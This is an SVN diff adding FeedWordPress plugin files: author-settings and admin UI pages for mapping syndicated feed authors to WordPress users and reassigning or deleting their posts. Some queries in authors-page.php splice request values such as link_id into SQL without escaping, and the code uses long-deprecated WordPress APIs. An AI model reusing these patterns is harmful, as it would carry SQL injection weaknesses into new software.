+function fwp_linkedit_single_submit ($status = NULL) {
+	if (fwp_test_wp_version(FWP_SCHEMA_25, FWP_SCHEMA_27)) :
+?>
+<div class="submitbox" id="submitlink">
+<div id="previewview"></div>
+<div class="inside"></div>
+
+<p class="submit">
+<input type="submit" name="submit" value="<?php _e('Save') ?>" />
+</p>
+</div>
+<?php
+	endif;
+}
+
+function fwp_linkedit_periodic_submit ($caption = NULL) {
+	if (!fwp_test_wp_version(FWP_SCHEMA_25)) :
+		if (is_null($caption)) : $caption = __('Save Changes &raquo;'); endif;
+?>
+<p class="submit">
+<input type="submit" name="submit" value="<?php print $caption; ?>" />
+</p>
+<?php
+	endif;
+}
+
+function fwp_linkedit_single_submit_closer ($caption = NULL) {
+	if (fwp_test_wp_version(FWP_SCHEMA_27)) :
+		if (is_null($caption)) : $caption = __('Save Changes'); endif;
+?>
+<p class="submit">
+<input class="button-primary" type="submit" name="submit" value="<?php print $caption; ?>" />
+</p>
+<?php
+	endif;
+}
+
+function fwp_authors_single_submit ($link = NULL) {
+	global $wp_db_version;
+	
+	if (fwp_test_wp_version(FWP_SCHEMA_25)) :
+?>
+<div class="submitbox" id="submitlink">
+<div id="previewview">
+</div>
+<div class="inside">
+</div>
+
+<p class="submit">
+<input type="submit" name="save" value="<?php _e('Save') ?>" />
+</p>
+</div>
+<?php
+	endif;
+}
+
+function fwp_option_box_opener ($legend, $id, $class = "stuffbox") {
+	global $wp_db_version;
+	if (isset($wp_db_version) and $wp_db_version >= FWP_SCHEMA_25) :
+?>
+<div id="<?php print $id; ?>" class="<?php print $class; ?>">
+<h3><?php print htmlspecialchars($legend); ?></h3>
+<div class="inside">
+<?php
+	else :
+?>
+<fieldset class="options"><legend><?php print htmlspecialchars($legend); ?></legend>
+<?php
+	endif;
+}
+
+function fwp_option_box_closer () {
+	global $wp_db_version;
+	if (isset($wp_db_version) and $wp_db_version >= FWP_SCHEMA_25) :
+?>
+	</div> <!-- class="inside" -->
+	</div> <!-- class="stuffbox" -->
+<?php
+	else :
+?>
+</fieldset>
+<?php
+	endif;
+}
+
+function fwp_tags_box ($tags, $object) {
+	if (!is_array($tags)) : $tags = array(); endif;
+	
+	$desc = "<p style=\"font-size:smaller;font-style:bold;margin:0\">Tag $object as...</p>";
+
+	if (fwp_test_wp_version(FWP_SCHEMA_28)) : // WordPress 2.8+
+		fwp_option_box_opener(__('Tags'), 'tagsdiv', 'postbox');
+?>
+			<?php print $desc; ?>
+			<div class="tagsdiv" id="post_tag">
+		<div class="jaxtag">
+		 <div class="nojs-tags hide-if-js">
+		  <p><?php _e('Add or remove tags'); ?></p>
+		  <textarea name="tax_input[post_tag]" class="the-tags" id="tax-input[post_tag]"><?php echo implode(",", $tags); ?></textarea>
+		 </div>
+		
+		 <span class="ajaxtag hide-if-no-js">
+			<label class="screen-reader-text" for="new-tag-post_tag"><?php _e('Tags'); ?></label>
+			<input type="text" id="new-tag-post_tag" name="newtag[post_tag]" class="newtag form-input-tip" size="16" autocomplete="off" value="<?php esc_attr_e('Add new tag'); ?>" />
+			<input type="button" class="button tagadd" value="<?php esc_attr_e('Add'); ?>" />
+		 </span>
+		</div>
+		<p class="howto"><?php echo __('Separate tags with commas.'); ?></p>
+		<div class="tagchecklist"></div>
+		</div>
+		<p class="tagcloud-link hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-post_tag"><?php printf( __('Choose from the most used tags in %s'), 'Post Tags'); ?></a></p>
+		</div>
+		</div>
+<?php
+	else :
+		fwp_option_box_opener(__('Tags'), 'tagsdiv', 'postbox');
+?>
+		<?php print $desc; ?>
+		<p id="jaxtag"><input type="text" name="tags_input" class="tags-input" id="tags-input" size="40" tabindex="3" value="<?php echo implode(",", $tags); ?>" /></p>
+		<div id="tagchecklist"></div>
+		</div>
+		</div>
+<?php
+	endif;
+}
+
+function fwp_category_box ($checked, $object, $tags = array()) {
+	global $wp_db_version;
+
+	if (fwp_test_wp_version(FWP_SCHEMA_25)) : // WordPress 2.5.x
+?>
+<div id="category-adder" class="wp-hidden-children">
+    <h4><a id="category-add-toggle" href="#category-add" class="hide-if-no-js" tabindex="3"><?php _e( '+ Add New Category' ); ?></a></h4>
+    <p id="category-add" class="wp-hidden-child">
+	<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php _e( 'New category name' ); ?>" tabindex="3" />
+	<?php wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __('Parent category'), 'tab_index' => 3 ) ); ?>
+	<input type="button" id="category-add-sumbit" class="add:categorychecklist:category-add button" value="<?php _e( 'Add' ); ?>" tabindex="3" />
+	<?php wp_nonce_field( 'add-category', '_ajax_nonce', false ); ?>
+	<span id="category-ajax-response"></span>
+    </p>
+</div>
+
+<ul id="category-tabs">
+	<?php /* ui-tabs-selected in WP 2.7 CSS = tabs in WP 2.8 CSS. Thank you, o brilliant wordsmiths of the WordPress 2.8 stylesheet... */ ?>
+	<li class="ui-tabs-selected tabs"><a href="#categories-all" tabindex="3"><?php _e( 'All posts' ); ?></a>
+        <p style="font-size:smaller;font-style:bold;margin:0">Give <?php print $object; ?> these categories</p>
+</li>
+</ul>
+
+<?php /* ui-tabs-panel in WP 2.7 CSS = tabs-panel in WP 2.8 CSS. Thank you, o brilliant wordsmiths of the WordPress 2.8 stylesheet... */ ?>
+<div id="categories-all" class="ui-tabs-panel tabs-panel">
+    <ul id="categorychecklist" class="list:category categorychecklist form-no-clear">
+	<?php fwp_category_checklist(NULL, false, $checked) ?>
+    </ul>
+</div>
+<?php
+	elseif (fwp_test_wp_version(FWP_SCHEMA_20)) : // WordPress 2.x
+?>
+		<div id="moremeta">
+		<div id="grabit" class="dbx-group">
+			<fieldset id="categorydiv" class="dbx-box">
+			<h3 class="dbx-handle"><?php _e('Categories') ?></h3>
+			<div class="dbx-content">
+			<p style="font-size:smaller;font-style:bold;margin:0">Place <?php print $object; ?> under...</p>
+			<p id="jaxcat"></p>
+			<div id="categorychecklist"><?php fwp_category_checklist(NULL, false, $checked); ?></div>
+			</div>
+			</fieldset>
+		</div>
+		</div>
+<?php
+	else : // WordPress 1.5
+?>
+		<fieldset style="width: 60%;">
+		<legend><?php _e('Categories') ?></legend>
+		<p style="font-size:smaller;font-style:bold;margin:0">Place <?php print $object; ?> under...</p>
+		<div style="height: 10em; overflow: scroll;"><?php fwp_category_checklist(NULL, false, $checked); ?></div>
+		</fieldset>
+<?php
+	endif;
+}
+
+function update_feeds_mention ($feed) {
+	echo "<li>Updating <cite>".$feed['link/name']."</cite> from &lt;<a href=\""
+		.$feed['link/uri']."\">".$feed['link/uri']."</a>&gt; ...";
+	flush();
+}
+function update_feeds_finish ($feed, $added, $dt) {
+	echo " completed in $dt second".(($dt==1)?'':'s')."</li>\n";
+}
+
+function fwp_author_list () {
+	global $wpdb;
+	$ret = array();
+
+	// display_name introduced in WP 2.0
+	if (fwp_test_wp_version(FWP_SCHEMA_20)) :
+		$name_column = 'display_name';
+	else :
+		$name_column = 'user_nickname';
+	endif;
+
+	$users = $wpdb->get_results("SELECT * FROM $wpdb->users ORDER BY {$name_column}");
+	if (is_array($users)) :
+		foreach ($users as $user) :
+			$id = (int) $user->ID;
+			$ret[$id] = $user->{$name_column};
+			if (strlen(trim($ret[$id])) == 0) :
+				$ret[$id] = $user->user_login;
+			endif;
+		endforeach;
+	endif;
+	return $ret;
+}
+
+class FeedWordPressSettingsUI {
+	function instead_of_posts_box ($link_id = null) {
+		fwp_option_box_opener('Syndicated Posts, Comments & Pings', 'syndicatedpostsdiv', 'postbox');
+		if (!is_null($link_id)) :
+			$from_this_feed = 'from this feed';
+			$by_default = '';
+			$id_param = "&amp;link_id=".$link_id;
+		else :
+			$from_this_feed = 'from syndicated feeds';
+			$by_default = " by default";
+			$id_param = "";
+		endif;
+?>
+<p>Use the <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/posts-page.php<?php print $id_param; ?>"><?php _e('Posts'); ?></a>
+settings page to set up how new posts <?php print $from_this_feed; ?> will be published<?php $by_default; ?>, whether they will accept
+comments and pings, any custom fields that should be set on each post, etc.</p>
+<?php
+		fwp_option_box_closer();
+	} /* FeedWordPressSettingsUI::instead_of_posts_box () */
+	
+	function instead_of_authors_box ($link_id = null) {
+		if (!is_null($link_id)) :
+			$from_this_feed = 'from this feed';
+			$by_default = '';
+			$id_param = "&amp;link_id=".$link_id;
+		else :
+			$from_this_feed = 'from syndicated feeds';
+			$by_default = " by default";
+			$id_param = "";
+		endif;
+
+		fwp_option_box_opener('Syndicated Authors', 'authordiv', 'postbox')
+?>
+<p>Use the <a
+href="admin.php?page=<?php print $GLOBALS['fwp_path']
+?>/authors-page.php<?php print $id_param; ?>"><?php _e('Authors');
+?></a> settings page to set up how new posts
+<?php print $from_this_feed; ?> will be assigned to
+authors.</p>
+<?php 
+		fwp_option_box_closer();
+	} /* FeedWordPressSettingsUI::instead_of_authors_box () */
+	
+	function instead_of_categories_box ($link_id = null) {
+		if (!is_null($link_id)) :
+			$from_this_feed = 'from this feed';
+			$by_default = '';
+			$id_param = "&amp;link_id=".$link_id;
+		else :
+			$from_this_feed = 'from syndicated feeds';
+			$by_default = " by default";
+			$id_param = "";
+		endif;
+		
+		fwp_option_box_opener(__('Categories & Tags'), 'categorydiv', 'postbox');
+?>
+<p>Use the <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/categories-page.php<?php print $id_param; ?>"><?php _e('Categories & Tags'); ?></a>
+settings page to set up how new posts <?php print $from_this_feed; ?> are assigned categories or tags<?php print $by_default; ?>.</p>
+<?php
+		fwp_option_box_closer();
+	} /* FeedWordPressSettingsUI::instead_of_categories_box () */
+
+} /* class FeedWordPressSettingsUI */
+
+function fwp_insert_new_user ($newuser_name) {
+	global $wpdb;
+
+	$ret = null;
+	if (strlen($newuser_name) > 0) :
+		$userdata = array();
+		$userdata['ID'] = NULL;
+		
+		$userdata['user_login'] = sanitize_user($newuser_name);
+		$userdata['user_login'] = apply_filters('pre_user_login', $userdata['user_login']);
+		
+		$userdata['user_nicename'] = sanitize_title($newuser_name);
+		$userdata['user_nicename'] = apply_filters('pre_user_nicename', $userdata['user_nicename']);
+		
+		$userdata['display_name'] = $wpdb->escape($newuser_name);
+
+		$newuser_id = wp_insert_user($userdata);
+		if (is_numeric($newuser_id)) :
+			$ret = $newuser_id;
+		else :
+			// TODO: Add some error detection and reporting
+		endif;
+	else :
+		// TODO: Add some error reporting
+	endif;
+	return $ret;
+} /* fwp_insert_new_user () */
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/authors-page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/authors-page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/authors-page.php	(revision 44)
@@ -0,0 +1,472 @@
+<?php
+require_once(dirname(__FILE__) . '/admin-ui.php');
+
+function fwp_authors_page () {
+	global $wpdb, $wp_db_version;
+
+	FeedWordPressCompatibility::validate_http_request(/*action=*/ 'feedwordpress_author_settings', /*capability=*/ 'manage_links');
+
+	if (isset($GLOBALS['fwp_post']['save']) or isset($GLOBALS['fwp_post']['fix_mismatch'])) :
+		$link_id = $_REQUEST['save_link_id'];
+	elseif (isset($_REQUEST['link_id'])) :
+		$link_id = $_REQUEST['link_id'];
+	else :
+		$link_id = NULL;
+	endif;
+
+	if (is_numeric($link_id) and $link_id) :
+		$link =& new SyndicatedLink($link_id);
+	else :
+		$link = NULL;
+	endif;
+
+	$mesg = null;
+
+	if (isset($GLOBALS['fwp_post']['fix_mismatch'])) :
+		if ('newuser'==$GLOBALS['fwp_post']['fix_mismatch_to']) :
+			$newuser_name = trim($GLOBALS['fwp_post']['fix_mismatch_to_newuser']);
+			if (strlen($newuser_name) > 0) :
+				$userdata = array();
+				$userdata['ID'] = NULL;
+				
+				$userdata['user_login'] = sanitize_user($newuser_name);
+				$userdata['user_login'] = apply_filters('pre_user_login', $userdata['user_login']);
+				
+				$userdata['user_nicename'] = sanitize_title($newuser_name);
+				$userdata['user_nicename'] = apply_filters('pre_user_nicename', $userdata['user_nicename']);
+				
+				$userdata['display_name'] = $wpdb->escape($newuser_name);
+
+				$newuser_id = wp_insert_user($userdata);
+				if (is_numeric($newuser_id)) :
+					$fix_mismatch_to_id = $newuser_id;
+				else :
+					// TODO: Add some error detection and reporting
+				endif;
+			else :
+				// TODO: Add some error reporting
+			endif;			
+		else :
+			$fix_mismatch_to_id = $GLOBALS['fwp_post']['fix_mismatch_to'];
+		endif;
+		$fix_mismatch_from_id = (int) $GLOBALS['fwp_post']['fix_mismatch_from'];
+		if (is_numeric($fix_mismatch_from_id)) :
+			// Make a list of all the items by this author syndicated from this feed...
+			$post_ids = $wpdb->get_col("
+			SELECT {$wpdb->posts}.id
+			FROM {$wpdb->posts}, {$wpdb->postmeta}
+			WHERE ({$wpdb->posts}.id = {$wpdb->postmeta}.post_id)
+			AND {$wpdb->postmeta}.meta_key = 'syndication_feed_id'
+			AND {$wpdb->postmeta}.meta_value = '{$link_id}'
+			AND {$wpdb->posts}.post_author = '{$fix_mismatch_from_id}'
+			");
+			
+			if (count($post_ids) > 0) :
+				// Re-assign them all to the correct author
+				if (is_numeric($fix_mismatch_to_id)) : // re-assign to a particular user
+					$post_set = "(".implode(",", $post_ids).")";
+					
+					// Getting the revisions too, if there are any
+					if (fwp_test_wp_version(FWP_SCHEMA_26)) :
+						$parent_in_clause = "OR {$wpdb->posts}.post_parent IN $post_set";
+					else :
+						$parent_in_clause = '';
+					endif;
+					
+					$wpdb->query("
+					UPDATE {$wpdb->posts}
+					SET post_author='{$fix_mismatch_to_id}'
+					WHERE ({$wpdb->posts}.id IN $post_set
+					$parent_in_clause)
+					");
+					$mesg = "Re-assigned ".count($post_ids)." post".((count($post_ids)==1)?'':'s').".";
+
+				// ... and kill them all
+				elseif ($fix_mismatch_to_id=='filter') :
+					foreach ($post_ids as $post_id) :
+						wp_delete_post($post_id);
+					endforeach;						
+					$mesg = "Deleted ".count($post_ids)." post".((count($post_ids)==1)?'':'s').".";
+				endif;
+			else :
+				$mesg = "Couldn't find any posts that matched your criteria.";
+			endif;
+		endif;
+	elseif (isset($GLOBALS['fwp_post']['save'])) :
+		if (is_object($link) and $link->found()) :
+			$alter = array ();
+
+			// Unfamiliar author rule
+			if (isset($GLOBALS['fwp_post']["unfamiliar_author"])) :
+				if ('site-default'==$GLOBALS['fwp_post']["unfamiliar_author"]) :
+					unset($link->settings["unfamiliar author"]);
+				elseif ('newuser'==$GLOBALS['fwp_post']["unfamiliar_author"]) :
+					$newuser_name = trim($GLOBALS['fwp_post']["unfamiliar_author_newuser"]);
+					$link->map_name_to_new_user(/*name=*/ NULL, $newuser_name);
+				else :
+					$link->settings["unfamiliar author"] = $GLOBALS['fwp_post']["unfamiliar_author"];
+				endif;
+			endif;
+			
+			// Handle author mapping rules
+			if (isset($GLOBALS['fwp_post']['author_rules_name']) and isset($GLOBALS['fwp_post']['author_rules_action'])) :
+				unset($link->settings['map authors']);
+				foreach ($GLOBALS['fwp_post']['author_rules_name'] as $key => $name) :
+					// Normalize for case and whitespace
+					$name = strtolower(trim($name));
+					$author_action = strtolower(trim($GLOBALS['fwp_post']['author_rules_action'][$key]));
+					
+					if (strlen($name) > 0) :
+						if ('newuser' == $author_action) :
+							$newuser_name = trim($GLOBALS['fwp_post']['author_rules_newuser'][$key]);
+							$link->map_name_to_new_user($name, $newuser_name);
+						else :
+							$link->settings['map authors']['name'][$name] = $author_action;
+						endif;
+					endif;
+				endforeach;
+			endif;
+
+			if (isset($GLOBALS['fwp_post']['add_author_rule_name']) and isset($GLOBALS['fwp_post']['add_author_rule_action'])) :
+				$name = strtolower(trim($GLOBALS['fwp_post']['add_author_rule_name']));
+				$author_action = strtolower(trim($GLOBALS['fwp_post']['add_author_rule_action']));
+				if (strlen($name) > 0) :
+					if ('newuser' == $author_action) :
+						$newuser_name = trim($GLOBALS['fwp_post']['add_author_rule_newuser']);
+						$link->map_name_to_new_user($name, $newuser_name);
+					else :
+						$link->settings['map authors']['name'][$name] = $author_action;
+					endif;
+				endif;
+			endif;
+
+			$alter[] = "link_notes = '".$wpdb->escape($link->settings_to_notes())."'";
+
+			$alter_set = implode(", ", $alter);
+
+			// issue update query
+			$result = $wpdb->query("
+			UPDATE $wpdb->links
+			SET $alter_set
+			WHERE link_id='$link_id'
+			");
+			$updated_link = true;
+
+			// reload link information from DB
+			if (function_exists('clean_bookmark_cache')) :
+				clean_bookmark_cache($link_id);
+			endif;
+			$link =& new SyndicatedLink($link_id);
+		else :
+			if ('newuser'==$GLOBALS['fwp_post']['unfamiliar_author']) :
+				$newuser_name = trim($GLOBALS['fwp_post']['unfamiliar_author_newuser']);
+				if (strlen($newuser_name) > 0) :
+					$userdata = array();
+					$userdata['ID'] = NULL;
+					
+					$userdata['user_login'] = sanitize_user($newuser_name);
+					$userdata['user_login'] = apply_filters('pre_user_login', $userdata['user_login']);
+					
+					$userdata['user_nicename'] = sanitize_title($newuser_name);
+					$userdata['user_nicename'] = apply_filters('pre_user_nicename', $userdata['user_nicename']);
+					
+					$userdata['display_name'] = $wpdb->escape($newuser_name);
+
+					$newuser_id = wp_insert_user($userdata);
+					if (is_numeric($newuser_id)) :
+						update_option('feedwordpress_unfamiliar_author', $newuser_id);
+					else :
+						// TODO: Add some error detection and reporting
+					endif;
+				else :
+					// TODO: Add some error reporting
+				endif;			
+			else :
+				update_option('feedwordpress_unfamiliar_author', $GLOBALS['fwp_post']['unfamiliar_author']);
+			endif;
+
+			if (isset($GLOBALS['fwp_post']['match_author_by_email']) and $GLOBALS['fwp_post']['match_author_by_email']=='yes') :
+				update_option('feedwordpress_do_not_match_author_by_email', 'no');
+			else :
+				update_option('feedwordpress_do_not_match_author_by_email', 'yes');
+			endif;
+
+			if (isset($GLOBALS['fwp_post']['null_emails'])) :
+				update_option('feedwordpress_null_email_set', $GLOBALS['fwp_post']['null_emails']);
+			endif;
+			
+			$updated_link = true;
+		endif;
+	else :
+		$updated_link = false;
+	endif;
+
+	$unfamiliar = array ('create' => '','default' => '','filter' => '');
+
+	if (is_object($link) and $link->found()) :
+		if (is_string($link->settings["unfamiliar author"])) :
+			$key = $link->settings["unfamiliar author"];
+		else:
+			$key = 'site-default';
+		endif;
+	else :
+		$key = FeedWordPress::on_unfamiliar('author');
+	endif;
+
+	$unfamiliar[$key] = ' selected="selected"';
+
+	$match_author_by_email = !('yes' == get_option("feedwordpress_do_not_match_author_by_email"));
+	$null_emails = FeedWordPress::null_email_set();
+?>
+<script type="text/javascript">
+	function contextual_appearance (item, appear, disappear, value, visibleStyle, checkbox) {
+		if (typeof(visibleStyle)=='undefined') visibleStyle = 'block';
+
+		var rollup=document.getElementById(item);
+		var newuser=document.getElementById(appear);
+		var sitewide=document.getElementById(disappear);
+		if (rollup) {
+			if ((checkbox && rollup.checked) || (!checkbox && value==rollup.value)) {
+				if (newuser) newuser.style.display=visibleStyle;
+				if (sitewide) sitewide.style.display='none';
+			} else {
+				if (newuser) newuser.style.display='none';
+				if (sitewide) sitewide.style.display=visibleStyle;
+			}
+		}
+	}
+</script>
+
+<?php if ($updated_link) : ?>
+<div class="updated"><p>Syndicated author settings updated.</p></div>
+<?php elseif (!is_null($mesg)) : ?>
+<div class="updated"><p><?php print wp_specialchars($mesg, 1); ?></p></div>
+<?php endif; ?>
+
+<div class="wrap">
+<form style="position: relative" action="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>" method="post">
+<div><?php
+	FeedWordPressCompatibility::stamp_nonce('feedwordpress_author_settings');
+
+	if (is_numeric($link_id) and $link_id) :
+?>
+<input type="hidden" name="save_link_id" value="<?php echo $link_id; ?>" />
+<?php
+	else :
+?>
+<input type="hidden" name="save_link_id" value="*" />
+<?php
+	endif;
+?>
+</div>
+
+<?php $links = FeedWordPress::syndicated_links(); ?>
+<?php if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+	<div class="icon32"><img src="<?php print htmlspecialchars(WP_PLUGIN_URL.'/'.$GLOBALS['fwp_path'].'/feedwordpress.png'); ?>" alt="" /></div>
+<?php endif; ?>
+<h2>Syndicated Author Settings<?php if (!is_null($link) and $link->found()) : ?>: <?php echo wp_specialchars($link->link->link_name, 1); ?><?php endif; ?></h2>
+<?php if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+	<style type="text/css">
+	#post-search {
+		float: right;
+		margin:11px 12px 0;
+		min-width: 130px;
+		position:relative;
+	}
+	.fwpfs {
+		color: #dddddd;
+		background:#797979 url(<?php bloginfo('home') ?>/wp-admin/images/fav.png) repeat-x scroll left center;
+		border-color:#777777 #777777 #666666 !important; -moz-border-radius-bottomleft:12px;
+		-moz-border-radius-bottomright:12px;
+		-moz-border-radius-topleft:12px;
+		-moz-border-radius-topright:12px;
+		border-style:solid;
+		border-width:1px;
+		line-height:15px;
+		padding:3px 30px 4px 12px;
+	}
+	.fwpfs.slide-down {
+		border-bottom-color: #626262;
+		-moz-border-radius-bottomleft:0;
+		-moz-border-radius-bottomright:0;
+		-moz-border-radius-topleft:12px;
+		-moz-border-radius-topright:12px;
+		background-image:url(<?php bloginfo('home') ?>/wp-admin/images/fav-top.png);
+		background-position:0 top;
+		background-repeat:repeat-x;
+		border-bottom-style:solid;
+		border-bottom-width:1px;
+	}
+	</style>
+	
+	<script type="text/javascript">
+		jQuery(document).ready(function($){
+			$('.fwpfs').toggle(
+				function(){$('.fwpfs').removeClass('slideUp').addClass('slideDown'); setTimeout(function(){if ( $('.fwpfs').hasClass('slideDown') ) { $('.fwpfs').addClass('slide-down'); }}, 10) },
+				function(){$('.fwpfs').removeClass('slideDown').addClass('slideUp'); setTimeout(function(){if ( $('.fwpfs').hasClass('slideUp') ) { $('.fwpfs').removeClass('slide-down'); }}, 10) }
+			);
+			$('.fwpfs').bind(
+				'change',
+				function () { this.form.submit(); }
+			);
+			$('#post-search .button').css( 'display', 'none' );
+		});
+	</script>
+<?php endif; /* else : */?>
+<p id="post-search">
+<select name="link_id" class="fwpfs" style="max-width: 20.0em;">
+  <option value="*"<?php if (is_null($link) or !$link->found()) : ?> selected="selected"<?php endif; ?>>- defaults for all feeds -</option>
+<?php if ($links) : foreach ($links as $ddlink) : ?>
+  <option value="<?php print (int) $ddlink->link_id; ?>"<?php if (!is_null($link) and ($link->link->link_id==$ddlink->link_id)) : ?> selected="selected"<?php endif; ?>><?php print wp_specialchars($ddlink->link_name, 1); ?></option>
+<?php endforeach; endif; ?>
+</select>
+<input class="button" type="submit" name="go" value="<?php _e('Go') ?> &raquo;" />
+</p>
+<?php /* endif; */ ?>
+
+<?php if (!is_null($link) and $link->found()) : ?>
+	<p>These settings only affect posts syndicated from
+	<strong><?php echo wp_specialchars($link->link->link_name, 1); ?></strong>.</p>
+<?php else : ?>
+	<p>These settings affect posts syndicated from any feed unless they are overridden
+	by settings for that specific feed.</p>
+<?php endif; ?>
+
+<?php
+	$authorlist = fwp_author_list();
+?>
+<table class="form-table">
+<tbody>
+<tr>
+  <th>New authors</th>
+  <td><span>Authors who haven't been syndicated before</span>
+  <select style="max-width: 27.0em" id="unfamiliar-author" name="unfamiliar_author" onchange="contextual_appearance('unfamiliar-author', 'unfamiliar-author-newuser', 'unfamiliar-author-default', 'newuser', 'inline');">
+<?php if (is_object($link) and $link->found()) : ?>
+    <option value="site-default"<?php print $unfamiliar['site-default']; ?>>are handled according to the default for all feeds</option>
+<?php endif; ?>
+    <option value="create"<?php $unfamiliar['create']; ?>>will have a new author account created for them</option>
+    <?php foreach ($authorlist as $author_id => $author_name) : ?>
+      <option value="<?php echo $author_id; ?>"<?php print $unfamiliar[$author_id]; ?>>will have their posts attributed to <?php echo $author_name; ?></option>
+    <?php endforeach; ?>
+    <option value="newuser">will have their posts attributed to a new user...</option>
+    <option value="filter"<?php print $unfamiliar['filter'] ?>>get filtered out</option>
+  </select>
+
+  <span id="unfamiliar-author-newuser">named <input type="text" name="unfamiliar_author_newuser" value="" /></span></p>
+  </td>
+</tr>
+
+<?php
+if (is_object($link) and $link->found()) :
+?>
+<tr><th>Syndicated authors</th>
+<td>For attributing posts by specific authors. Blank out a name to delete the rule. Fill in a new name at the bottom to create a new rule.</p>
+<table style="width: 100%">
+<?php
+	if (isset($link->settings['map authors'])) :
+?>
+<?php
+		$i=0;
+		foreach ($link->settings['map authors'] as $author_rules) :
+			foreach ($author_rules as $author_name => $author_action) :
+				$i++; 
+?>
+<tr>
+<th style="text-align: left; width: 15.0em">Posts by <input type="text" name="author_rules_name[]" value="<?php echo htmlspecialchars($author_name); ?>" size="11" /></th>
+  <td>
+  <select id="author-rules-<?php echo $i; ?>" name="author_rules_action[]" onchange="contextual_appearance('author-rules-<?php echo $i; ?>', 'author-rules-<?php echo $i; ?>-newuser', 'author-rules-<?php echo $i; ?>-default', 'newuser', 'inline');">
+    <?php foreach ($authorlist as $local_author_id => $local_author_name) : ?>
+    <option value="<?php echo $local_author_id; ?>"<?php if ($local_author_id==$author_action) : echo ' selected="selected"'; endif; ?>>are assigned to <?php echo $local_author_name; ?></option>
+    <?php endforeach; ?>
+    <option value="newuser">will be assigned to a new user...</option>
+    <option value="filter"<?php if ('filter'==$author_action) : echo ' selected="selected"'; endif; ?>>get filtered out</option>
+  </select>
+  
+  <span id="author-rules-<?php echo $i; ?>-newuser">named <input type="text" name="author_rules_newuser[]" value="" /></span>
+  </td>
+</tr>
+<?php 			endforeach;
+		endforeach;
+	endif;
+?>
+
+<tr>
+<th style="text-align: left; width: 15.0em">Posts by <input type="text" name="add_author_rule_name" size="11" /></th>
+  <td>
+    <select id="add-author-rule" name="add_author_rule_action" onchange="contextual_appearance('add-author-rule', 'add-author-rule-newuser', 'add-author-rule-default', 'newuser', 'inline');">
+      <?php foreach ($authorlist as $author_id => $author_name) : ?>
+      <option value="<?php echo $author_id; ?>">are assigned to <?php echo $author_name; ?></option>
+      <?php endforeach; ?>
+      <option value="newuser">will be assigned to a new user...</option>
+      <option value="filter">get filtered out</option>
+    </select>
+   
+   <span id="add-author-rule-newuser">named <input type="text" name="add_author_rule_newuser" value="" /></span>
+   </td>
+</tr>
+</table>
+</td>
+</tr>
+<?php endif; ?>
+
+<?php if (!(is_object($link) and $link->found())) : ?>
+<tr>
+<th scope="row">Matching Authors</th>
+<td><ul style="list-style: none; margin: 0; padding: 0;">
+<li><div><label><input id="match-author-by-email" type="checkbox" name="match_author_by_email" value="yes" <?php if ($match_author_by_email) : ?>checked="checked" <?php endif; ?>onchange="contextual_appearance('match-author-by-email', 'unless-null-email', null, 'yes', 'block', /*checkbox=*/ true);" /> Treat syndicated authors with the same e-mail address as the same author.</label></div>
+<div id="unless-null-email">
+<p>Unless the e-mail address is one of the following anonymous e-mail addresses:</p>
+<textarea name="null_emails" rows="3" style="width: 100%">
+<?php print implode("\n", $null_emails); ?>
+</textarea>
+</div></li>
+</ul></td>
+</tr>
+<?php else : ?>
+<th scope="row">Fixing mis-matched authors:</th>
+<td><p style="margin: 0.5em 0px">Take all the posts from this feed attributed to
+<select name="fix_mismatch_from">
+<?php foreach ($authorlist as $author_id => $author_name) : ?>
+      <option value="<?php echo $author_id; ?>"><?php echo $author_name; ?></option>
+<?php endforeach; ?>
+</select>
+and instead
+<select id="fix-mismatch-to" name="fix_mismatch_to" onchange="contextual_appearance('fix-mismatch-to', 'fix-mismatch-to-newuser', null, 'newuser', 'inline');">
+<?php foreach ($authorlist as $author_id => $author_name) : ?>
+      <option value="<?php echo $author_id; ?>">re-assign them to <?php echo $author_name; ?></option>
+<?php endforeach; ?>
+      <option value="newuser">re-assign them to a new user...</option>
+      <option value="filter">delete them</option>
+</select>
+
+   <span id="fix-mismatch-to-newuser">named <input type="text" name="fix_mismatch_to_newuser" value="" /></span>
+   <input type="submit" class="button" name="fix_mismatch" value="Fix it!" />
+   </td>
+</td>
+<?php endif; ?>
+</tbody>
+</table>
+
+<p class="submit">
+<input class="button-primary" type="submit" name="save" value="Save Changes" />
+</p>
+
+<script type="text/javascript">
+	contextual_appearance('unfamiliar-author', 'unfamiliar-author-newuser', 'unfamiliar-author-default', 'newuser', 'inline');
+<?php if (is_object($link) and $link->found()) : ?>
+<?php 	for ($j=1; $j<=$i; $j++) : ?>
+	contextual_appearance('author-rules-<?php echo $j; ?>', 'author-rules-<?php echo $j; ?>-newuser', 'author-rules-<?php echo $j; ?>-default', 'newuser', 'inline');
+<?php 	endfor; ?>
+	contextual_appearance('add-author-rule', 'add-author-rule-newuser', 'add-author-rule-default', 'newuser', 'inline');
+	contextual_appearance('fix-mismatch-to', 'fix-mismatch-to-newuser', null, 'newuser', 'inline');
+<?php else : ?>
+	contextual_appearance('match-author-by-email', 'unless-null-email', null, 'yes', 'block', /*checkbox=*/ true);
+<?php endif; ?>
+</script>
+</form>
+</div> <!-- class="wrap" -->
+<?php
+} /* function fwp_authors_page () */
+
+	fwp_authors_page();
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/categories-page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/categories-page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/categories-page.php	(revision 44)
@@ -0,0 +1,351 @@
+<?php
+require_once(dirname(__FILE__) . '/admin-ui.php');
+
+function fwp_categories_page () {
+	global $wpdb, $wp_db_version;
+
+	FeedWordPressCompatibility::validate_http_request(/*action=*/ 'feedwordpress_categories_settings', /*capability=*/ 'manage_links');
+
